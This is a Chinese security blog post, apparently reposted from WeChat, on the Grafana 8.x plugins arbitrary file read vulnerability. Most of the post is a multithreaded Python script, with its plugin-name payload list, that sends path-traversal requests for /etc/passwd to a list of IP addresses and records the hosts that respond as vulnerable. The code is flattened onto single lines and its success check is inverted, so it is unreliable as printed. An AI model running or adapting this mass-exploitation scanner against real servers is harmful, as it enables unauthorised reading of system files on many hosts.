[批量检测工具] Grafana plugins 任意文件读取

admin 2022年4月10日00:16:14评论209 views字数 2795阅读9分19秒阅读模式
[批量检测工具] Grafana plugins 任意文件读取
[批量检测工具] Grafana plugins 任意文件读取

点击上方蓝字关注我们

[批量检测工具] Grafana plugins 任意文件读取


✎ 阅读须知


乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他


说明:本文主要参考了两位师傅的公众号文章和一位师傅的poc,链接在文中。

01
漏 洞 描 述


  • Grafana是一个跨平台、开源的数据可视化网络应用程序平台,使用Go语言编写。

  • Grafana 8.x存在任意文件读取漏洞,通过默认存在的插件,可构造特殊的请求包读取服务器任意文件

[批量检测工具] Grafana plugins 任意文件读取

[批量检测工具] Grafana plugins 任意文件读取

02
漏 洞 细 节


可参考:


grafana最新任意文件读取分析以及衍生问题解释


Grafana plugins 任意文件读取漏洞


[批量检测工具] Grafana plugins 任意文件读取

03
批量检测工具

因为网上已经有师傅写过单个poc,所以在这里直接加上以前的多线程,可以批量测试漏洞:

poc参考资料:

https://github.com/ScorpionsMAX/Grafana-loophole



也可以去我的GitHub下载:

https://github.com/crow821/crowsec

你也可以在我的公众号后台回复关键字:Grafana下载!


或者你直接复制下面的脚本重命名即可!


完整脚本如下:

脚本一共含有三个部分:

[批量检测工具] Grafana plugins 任意文件读取


poc脚本:Grafana8.x_check.py


# -*- encoding: utf-8 -*-# Time : 2021/12/07 23:05:31# Author: crow# Grafana plugins 任意文件读取批量检测脚本# poc参考:https://github.com/ScorpionsMAX/Grafana-loophole

import requestsimport threadingfrom queue import Queue

class Check_ips(threading.Thread): def __init__(self, queue, file_path): threading.Thread.__init__(self) self._queue = queue self._file_path = file_path
def run(self): while not self._queue.empty(): Ip = self._queue.get() file_path_ = self._file_path try: self.check(Ip, file_path_) except Exception as e: # print(e) pass
def check(self, ip, file_path_): f = open("./paload.txt") print('正在测试ip:',ip) for line in f: url = "http://"+ ip +"/public/plugins/"+str.rstrip(line)+"/../../../../../../../../../../../etc/passwd" headers = { "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0", } req = requests.post(url, headers=headers,timeout=(3,7),allow_redirects=False) a=req.text # print('当前a的值:',a) str1='root' if a in str1: print('确认存在'+str.rstrip(line)+'路径,并存在漏洞!') print(url) with open('Grafana 8.x_vuln.txt', 'a+') as ff: ff.write(url + 'n') else: pass # print('不存在漏洞!')

def check_ip(file_path): queue = Queue() with open(file_path, 'r') as f: for line in f.readlines(): # print(line[:-1]) ip = line[:-1] # print('正在测试ip:',ip) queue.put(ip) print('[+] Loading complite') threads = [] thread_counts = 50 # 定义线程 for i in range(thread_counts): threads.append(Check_ips(queue, file_path)) for t in threads: t.start() for t in threads: t.join()


if __name__ == "__main__": file_path = 'Grafana_3000.txt' check_ip(file_path) print('[+] check complete')


其中需要两个文件,一个是payload.txt,这个文件里面主要是plugins的插件名称,此处参考:

https://mp.weixin.qq.com/s/dqJ3F_fStlj78S0qhQ3Ggw

payload.txt

alertmanagergrafanalokipostgresgrafana-azure-monitor-datasourcemixedprometheuscloudwatchgraphitemssqltempodashboardinfluxdbmysqltestdataelasticsearchjaegeropentsdbzipkinalertGroupsbargaugedebuggraphlivepiechartstatus-historytimeseriesalertlistcandlestickgaugeheatmaplogspluginlisttablewelcomeannolistcanvasgeomaphistogramnewsstattable-oldxychartbarchartdashlistgettingstartediconnodeGraphstate-timelinetext

另外一个是Grafana_3000.txt,这个文件是需要检测的ip地址信息,比如:127.0.0.1:3000


脚本默认线程为50,检测到漏洞之后,会直接生成一个Grafana 8.x_vuln.txt文件。


运行效果:

[批量检测工具] Grafana plugins 任意文件读取


[批量检测工具] Grafana plugins 任意文件读取



[批量检测工具] Grafana plugins 任意文件读取

04
漏洞修复


可参考:

grafana最新任意文件读取分析以及衍生问题解释



tips:加我wx,拉你入群,一起学习


[批量检测工具] Grafana plugins 任意文件读取




[批量检测工具] Grafana plugins 任意文件读取
[批量检测工具] Grafana plugins 任意文件读取

扫取二维码获取

更多精彩

乌鸦安全

[批量检测工具] Grafana plugins 任意文件读取



原文始发于微信公众号(爱国小白帽):[批量检测工具] Grafana plugins 任意文件读取

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月10日00:16:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [批量检测工具] Grafana plugins 任意文件读取http://cn-sec.com/archives/665846.html

发表评论

匿名网友 填写信息